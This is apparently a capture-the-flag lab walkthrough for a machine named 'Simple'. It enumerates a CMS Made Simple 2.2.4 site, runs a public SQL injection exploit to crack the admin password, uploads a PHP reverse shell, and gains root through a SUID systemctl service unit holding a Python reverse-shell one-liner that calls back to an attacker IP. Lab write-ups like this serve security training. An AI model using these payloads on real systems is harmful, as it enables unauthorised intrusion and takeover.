# Simple

## nmap

```
mkdir nmap
sudo rustscan -a 172.31.1.2 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan   
```

A web server on port 80 is open

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBapW3kvT_D_BS6oD9%2F-MjBbDRFgSXlrpykvlLI%2Fimage.png?alt=media&#x26;token=b66916cd-c148-4280-ae8f-0c2607c2f85e" alt=""></div>

## Web enumeration

It is running with CMS Made Simple v2.2.4 in the footer

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBapW3kvT_D_BS6oD9%2F-MjBbPH2f39Rgw_h6cZw%2Fimage.png?alt=media&#x26;token=96b6de6d-b6b0-48fd-ac81-d879c05a7844" alt=""></div>

Since it's a web server, I'll run directory busting

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.31.1.2/FUZZ  -ignore-body -recursion -recursion-depth 2 -t 40 -ic -c -o webdir.domain.root -D -e php,html,txt
```

After some time running, it found `/admin` and looks interesting. I tried logging in with default credentials but nothing works.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBapW3kvT_D_BS6oD9%2F-MjBcSE9NmGWE7EA6d-O%2Fimage.png?alt=media&#x26;token=d6080dbf-8d09-4601-91fe-08c15d277fc4" alt=""></div>

Since we have the version, let's take a look with searchsploit. And it turns out the version of CMS Made Simple it has is vulnerable to SQL Injection.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBapW3kvT_D_BS6oD9%2F-MjBclwFL-SYyIfDUFGw%2Fimage.png?alt=media&#x26;token=f91a71ec-297f-4004-b485-d0bdaaae5ff1" alt=""></div>

## Exploitation

I run the script with the following parameters

```
python 46635.py -u http://172.31.1.2/ --crack -w /opt/wordlist/rockyou.txt   
```

After some time running, we got the following information.

```
[+] Salt for password found: 18207a2929431d9f                                                            
[+] Username found: david                                                                                
[+] Email found: david@simple.csl                                                                        
[+] Password found: bbeabbca0fff4e851f840ffad0680dcf     
[+] Password cracked: punisher                                               
```

Log in using this credential on `/admin`

![](https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBeNjyeu-C5lKhRcGT%2F-MjBokQusn986NkYnm2d%2Fimage.png?alt=media\&token=d66b5f59-28ce-4cc9-b7ca-13ff5cd415b2)

Go to Content > File Manager, we will upload a reverse shell here

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBeNjyeu-C5lKhRcGT%2F-MjBozjE_HT8IUUrUxdL%2Fimage.png?alt=media&#x26;token=2f2bcab6-8796-4b26-8224-7719c9880413" alt=""></div>

Create your own PHP reverse shell, but in this example I will use this awesome shell: [https://github.com/ivan-sincek/php-reverse-shell](https://github.com/ivan-sincek/php-reverse-shell)

Rename your shell to `<shellname>.txt` and upload your shell

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBeNjyeu-C5lKhRcGT%2F-MjBp_Fgs2GtjTZPGKzC%2Fimage.png?alt=media&#x26;token=63b46282-a3ab-44c1-8443-71d7a008c14b" alt=""></div>

Now we need to rename our shell to .php extension, to do that you have to create a copy of your shell and name it with .php extension. Make your your target directory is on /uploads

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBeNjyeu-C5lKhRcGT%2F-MjBpmLm_qft_MbWj-Ji%2Fimage.png?alt=media&#x26;token=4748494f-ac8a-4ebf-86c5-6bba804e8274" alt=""></div>

Now we have successfully, uploaded our reverse shell.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBeNjyeu-C5lKhRcGT%2F-MjBq0iA9D5nd6nXktGm%2Fimage.png?alt=media&#x26;token=3cd4d86f-7723-4d96-8170-0278fc9260bb" alt=""></div>

Set a netcat listener and visit /uploads/shellname.php. And you should received your shell right away.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjBeNjyeu-C5lKhRcGT%2F-MjBqhiCOJcrz-9UL7on%2Fimage.png?alt=media&#x26;token=ac1fe1cb-8b47-43f6-9aa9-62e41df18372" alt=""></div>

## Privilege Escalation

Let's transfer linpeas.sh to target machine

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjC08-i3OdgywP9Xr9r%2F-MjC0QFM-05SQOIc1I6Q%2Fimage.png?alt=media&#x26;token=8a9504ec-42c4-46d1-a899-95a541d6bf7c" alt=""></div>

Transfer the bash script with `wget`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjC08-i3OdgywP9Xr9r%2F-MjC0_3Km33D3Oqr8npY%2Fimage.png?alt=media&#x26;token=047534f8-5dbc-451a-8cc7-3220abddb9e5" alt=""></div>

Run `linpeas.sh`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjC08-i3OdgywP9Xr9r%2F-MjC0iqLtfOhMC43gq-P%2Fimage.png?alt=media&#x26;token=24850688-579c-4020-8e0e-70c4f25f3921" alt=""></div>

The binary `systemctl` has `suid` flag, we can use this to gain root shell.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjC08-i3OdgywP9Xr9r%2F-MjC1-ZpnQ7SS8I0lfe1%2Fimage.png?alt=media&#x26;token=e5ebea36-a36b-4405-a91c-782264e18a0c" alt=""></div>

Create shell.service in any writable folder with the following content, and edit the IP Address and port accordingly.

```
[Service]
Type=oneshot
ExecStart=/bin/sh -c "python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.0.41\",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
[Install]
WantedBy=multi-user.target
```

Create a softlink with the file you have created.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjC08-i3OdgywP9Xr9r%2F-MjC1tTUVBeJbTiOrMnV%2Fimage.png?alt=media&#x26;token=6031c4b1-7d9a-4b3a-a641-73c427d47cce" alt=""></div>

Set a netcat listener, and run the following command to trigger the exploit

```
systemctl start shell.service
```

Sweet, now you're root! :D

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjC08-i3OdgywP9Xr9r%2F-MjC2pmmgQ7wrYp0cm-Y%2Fimage.png?alt=media&#x26;token=a856de3a-0993-4f38-bc02-0e1d47987ecd" alt=""></div>
